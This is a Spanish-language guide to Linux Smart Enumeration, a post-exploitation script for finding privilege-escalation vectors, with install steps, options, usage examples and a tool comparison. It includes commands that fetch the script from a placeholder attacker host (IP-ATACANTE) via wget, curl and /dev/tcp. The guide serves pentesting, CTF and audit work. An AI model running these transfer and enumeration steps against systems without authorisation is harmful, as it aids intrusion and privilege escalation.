🔍 LSE: Linux Smart Enumeration

Herramienta de reconocimiento post-explotación

Linux Smart Enumeration (LSE) es un script de enumeración para sistemas Linux diseñado para identificar vectores potenciales de escalada de privilegios y configuraciones débiles de seguridad.


📋 Tabla de Contenidos


📝 Introducción

¿Qué es LSE?

LSE (Linux Smart Enumeration) es un script de bash ligero y potente diseñado para realizar una enumeración exhaustiva de sistemas Linux. Fue creado por Diego Blanco (@diego-treitos) como una alternativa a otras herramientas de enumeración, con un enfoque en la identificación inteligente de vectores de escalada de privilegios.

¿Para qué sirve?

  • Identificar vectores potenciales de escalada de privilegios
  • Detectar configuraciones erróneas de seguridad
  • Enumerar información del sistema de manera estructurada
  • Encontrar archivos con permisos débiles
  • Detectar servicios vulnerables
  • Analizar credenciales almacenadas inseguramente

Contextos de uso

graph TD
    A[LSE: Contextos de Uso] --> B[Pentesting]
    A --> C[CTF]
    A --> D[Auditorías de Seguridad]
    A --> E[Post-Explotación]
    
    B --> B1[Fase de reconocimiento interno]
    B --> B2[Búsqueda de vectores de escalada]
    
    C --> C1[Resolución de retos de escalada]
    C --> C2[Enumeración rápida del sistema]
    
    D --> D1[Verificación de configuraciones seguras]
    D --> D2[Detección de malas prácticas]
    
    E --> E1[Después de obtener acceso inicial]
    E --> E2[Movimiento lateral]

Filosofía de la herramienta

A diferencia de otras herramientas de enumeración, LSE está diseñado para ser inteligente en sus búsquedas, mostrando resultados categorizados por niveles de relevancia y utilizando colores para facilitar la identificación de hallazgos importantes.


💾 Instalación y Obtención

Repositorio oficial

LSE está disponible en GitHub: https://github.com/diego-treitos/linux-smart-enumeration

Métodos de obtención

# Descargar directamente usando wget
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
 
# Alternativa con curl
curl -s https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh -o lse.sh
 
# Dar permisos de ejecución
chmod +x lse.sh

Transferencia a sistemas objetivo

Técnicas de transferencia

Cuando el sistema objetivo no tiene acceso a Internet:

Desde máquina atacante:

# Servir el archivo con un servidor web simple
python3 -m http.server 8000
 
# Alternativamente, usar Netcat
nc -nlvp 8000 < lse.sh

En la máquina objetivo:

# Descargar usando wget/curl
wget http://IP-ATACANTE:8000/lse.sh
 
# Alternativa con curl
curl http://IP-ATACANTE:8000/lse.sh -o lse.sh
 
# Usando Netcat
cat < /dev/tcp/IP-ATACANTE/8000 > lse.sh

🔧 Uso Básico

Sintaxis general

./lse.sh [opciones]

Ejecución simple

# Ejecutar con nivel de detalle por defecto (nivel 0)
./lse.sh
 
# Ejecutar sin colores (útil para redirigir salida)
./lse.sh -c

Salida típica

La salida de LSE está organizada en secciones:

  1. Información del sistema: Usuario, kernel, distribución
  2. Usuarios y grupos: Información de usuarios, grupos, sudoers
  3. Configuración del sistema: Parámetros de seguridad, configuración de red
  4. Servicios: Servicios en ejecución, trabajos cron
  5. Procesos: Procesos en ejecución, comandos interesantes
  6. Archivos y directorios: Permisos, SUID/SGID, archivos interesantes

Ejemplo de salida

LSE Version: 4.0

[*] SYSTEM ........................................................
[+] su version: 1.8.4
[+] Path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[+] Hostname: target-machine

[*] USERS .........................................................
[+] Current user: www-data
[+] Current user groups: www-data

[!] Users with console: 
root:x:0:0:root:/root:/bin/bash
user:x:1000:1000:User:/home/user:/bin/bash
...

🎯 Niveles de Detalle

Una de las características más potentes de LSE es su capacidad para ejecutarse con diferentes niveles de detalle.

NivelPropósitoUso típico
0 (por defecto)Verificaciones básicasEnumeración rápida inicial
1Verificaciones estándarBúsqueda general de vectores comunes
2Verificaciones exhaustivasBúsqueda profunda de todos los vectores posibles

Configuración de nivel

# Nivel 0 (por defecto)
./lse.sh
 
# Nivel 1 (más detallado)
./lse.sh -l 1
 
# Nivel 2 (máximo detalle)
./lse.sh -l 2
graph LR
    A[Nivel 0] -->|"./lse.sh"| B[Verificaciones básicas]
    C[Nivel 1] -->|"./lse.sh -l 1"| D[Verificaciones estándar]
    E[Nivel 2] -->|"./lse.sh -l 2"| F[Verificaciones exhaustivas]
    
    B --> G[Resultado rápido]
    D --> H[Resultado detallado]
    F --> I[Resultado completo]

Estrategia recomendada

Comienza con nivel 0 para obtener una visión general rápida, luego aumenta a nivel 1 o 2 si necesitas una enumeración más profunda o si no encuentras vectores obvios con el nivel básico.


⚙️ Parámetros y Opciones

Opciones principales

OpciónDescripciónEjemplo
-cNo usar colores en la salida./lse.sh -c
-iInteractivo (pregunta antes de ejecutar cada verificación)./lse.sh -i
-l [0-2]Nivel de detalle (0:básico, 1:estándar, 2:exhaustivo)./lse.sh -l 2
-hMostrar ayuda./lse.sh -h
-s [sección]Solo ejecutar verificaciones de una sección específica./lse.sh -s usr
-p [tests]Solo ejecutar tests específicos (separados por coma)./lse.sh -p usr000,usr010
-o [fichero]Guardar salida en un fichero./lse.sh -o resultado.txt
-fVer todos los tests, no solo los que coinciden con el nivel./lse.sh -f

Secciones disponibles

SecciónDescripciónEjemplo
usrInformación de usuarios./lse.sh -s usr
sysInformación del sistema./lse.sh -s sys
secConfiguraciones de seguridad./lse.sh -s sec
netConfiguración de red./lse.sh -s net
srvServicios./lse.sh -s srv
proProcesos./lse.sh -s pro
sofSoftware instalado./lse.sh -s sof
ctnContenedores./lse.sh -s ctn
timTareas programadas./lse.sh -s tim
filArchivos interesantes./lse.sh -s fil

Combinación de opciones

Puedes combinar varias opciones: ./lse.sh -l 2 -s fil -c


💻 Ejemplos Prácticos

Ejemplo 1: Búsqueda rápida de vectores de escalada comunes

# Ejecución básica para identificar vectores obvios
./lse.sh

Explicación

Este comando ejecuta LSE con el nivel de detalle predeterminado (0) buscando configuraciones inseguras comunes. Es útil para:

  • Obtener una visión general rápida del sistema
  • Identificar vectores de escalada de privilegios obvios
  • Orientar investigaciones más detalladas

Incluso con el nivel básico, LSE puede detectar:

  • Binarios SUID comunes
  • Archivos con permisos débiles
  • Tareas cron mal configuradas
  • Configuraciones de sudo explotables

Ejemplo 2: Análisis profundo de archivos sensibles

# Ejecutar análisis exhaustivo de archivos y permisos
./lse.sh -l 2 -s fil -o resultados_archivos.txt

Explicación

Este comando realiza un análisis detallado de la sección de archivos con nivel máximo:

  1. -l 2: Establece nivel máximo de detalle
  2. -s fil: Se enfoca solo en la sección de archivos
  3. -o resultados_archivos.txt: Guarda los resultados en un archivo

Este enfoque es útil cuando:

  • Sospechas de permisos incorrectos
  • Buscas archivos SUID/SGID
  • Necesitas encontrar archivos de configuración modificables
  • Quieres identificar archivos con información sensible

Ejemplo 3: Búsqueda de problemas en servicios y tareas programadas

# Analizar servicios y tareas programadas
./lse.sh -l 1 -s srv,tim -c

Explicación

Este comando se centra en la búsqueda de vectores relacionados con servicios y tareas programadas:

  1. -l 1: Nivel medio de detalle
  2. -s srv,tim: Solo secciones de servicios y tareas programadas
  3. -c: Sin colores (útil para procesamiento posterior)

Detectará:

  • Servicios mal configurados
  • Tareas cron con permisos débiles
  • Scripts ejecutados como root que son modificables
  • Trabajos programados con rutas relativas o writables

Ejemplo 4: Enfoque en usuarios y permisos de sudo

# Verificar configuraciones de usuario y sudo
./lse.sh -l 2 -s usr -p usr020,usr030,usr040

Explicación

Este comando se especializa en analizar configuraciones de usuario:

  1. -l 2: Nivel máximo de detalle
  2. -s usr: Solo sección de usuarios
  3. -p usr020,usr030,usr040: Enfoque en tests específicos relacionados con sudo

Ideal para:

  • Revisar configuraciones de sudo
  • Identificar permisos excesivos
  • Encontrar comandos que pueden ser explotados
  • Detectar problemas en archivos sudoers

💡 Tips y Buenas Prácticas

Optimización del uso

graph TD
    A[Optimizar uso de LSE] --> B[Filtrar por secciones]
    A --> C[Aumentar nivel gradualmente]
    A --> D[Combinar con otras herramientas]
    A --> E[Gestionar la salida]
    
    B --> B1[Enfocarse en áreas prometedoras]
    C --> C1[Comenzar con nivel 0, luego subir]
    D --> D1[Complementar con LinPEAS, LinEnum]
    E --> E1[Usar -o para guardar resultados]
    E --> E2[grep para filtrar hallazgos]

Consejos para maximizar eficiencia

  • Ejecuta primero con nivel 0 para identificar vectores obvios
  • Enfócate en secciones específicas relevantes para tu escenario
  • Guarda siempre la salida para análisis posterior
  • Filtra resultados para enfocarte en lo importante: grep "WARNING\|ALERT" resultados.txt
  • Analiza los hallazgos antes de intentar explotar (evita técnicas ruidosas)
  • Combina con herramientas manuales para verificar los hallazgos

Errores comunes y soluciones

ErrorProblemaSolución
Permission deniedFalta de permisos de ejecuciónchmod +x lse.sh
./lse.sh: line 1: syntax error near unexpected tokenProblemas con finales de línea (Windows)dos2unix lse.sh
Resultados incompletosSistema altamente restrictivoPrueba ejecutar módulos individualmente
Falsos positivosLSE detecta configuraciones que no son explotablesVerifica manualmente los hallazgos
Demasiada informaciónDifícil identificar vectores útilesUsa nivel menor o filtra por secciones
Problemas de visualizaciónProblemas con colores en terminales específicasUsa -c para desactivar colores

Integración con otras herramientas

# Combinar con LinPEAS para verificación cruzada
./lse.sh -l 1 -o lse_results.txt
./linpeas.sh > linpeas_results.txt
 
# Filtrar resultados importantes
grep -E "WARNING|ALERT|CRITICAL" lse_results.txt > lse_important.txt
 
# Combinar con búsqueda manual de binarios SUID
./lse.sh -l 1 -s fil
find / -perm -4000 -type f 2>/dev/null

📊 Comparativa con otras herramientas

HerramientaVentajasDesventajasMejor para
LSELigero, organizado por niveles, salida colorizadaMenos exhaustivo que LinPEASEnumeración inicial, sistemas con recursos limitados
LinPEASMuy exhaustivo, detecta más vulnerabilidadesMás pesado, salida más desordenadaEnumeración profunda, análisis completo
LinEnumSimple, bien establecidoMenos actualizado, sin nivelesEnumeración básica, scripts propios
linux-exploit-suggesterEnfocado en vulnerabilidades de kernelSolo kernel, no analiza configuracionesIdentificar vulnerabilidades específicas
pspyMonitoreo de procesos en tiempo realSolo procesos, no enumeración generalAnálisis de tareas programadas y procesos

Cuándo elegir LSE

  • Cuando necesites una herramienta ligera y rápida
  • Cuando quieras resultados organizados por relevancia
  • En sistemas con recursos limitados
  • Para una primera pasada de enumeración antes de profundizar
  • Cuando necesites filtrar resultados por secciones

🔍 Resumen de verificaciones principales

LSE realiza numerosas verificaciones, entre las más útiles:

  • Binarios SUID/SGID que pueden ser explotados
  • Archivos con permisos débiles en directorios sensibles
  • Configuraciones de sudo explotables
  • Tareas cron con scripts modificables
  • Servicios corriendo como root con configuraciones inseguras
  • Archivos de configuración modificables
  • Credenciales almacenadas en archivos de texto/configuración
  • Capacidades de binarios que pueden ser abusadas
  • Configuraciones de kernel inseguras
  • Montajes con opciones inseguras

Recuerda

LSE es una herramienta de enumeración, no de explotación. Su objetivo es identificar vectores potenciales que luego deberás verificar y explotar manualmente.


🔗 Referencias y recursos adicionales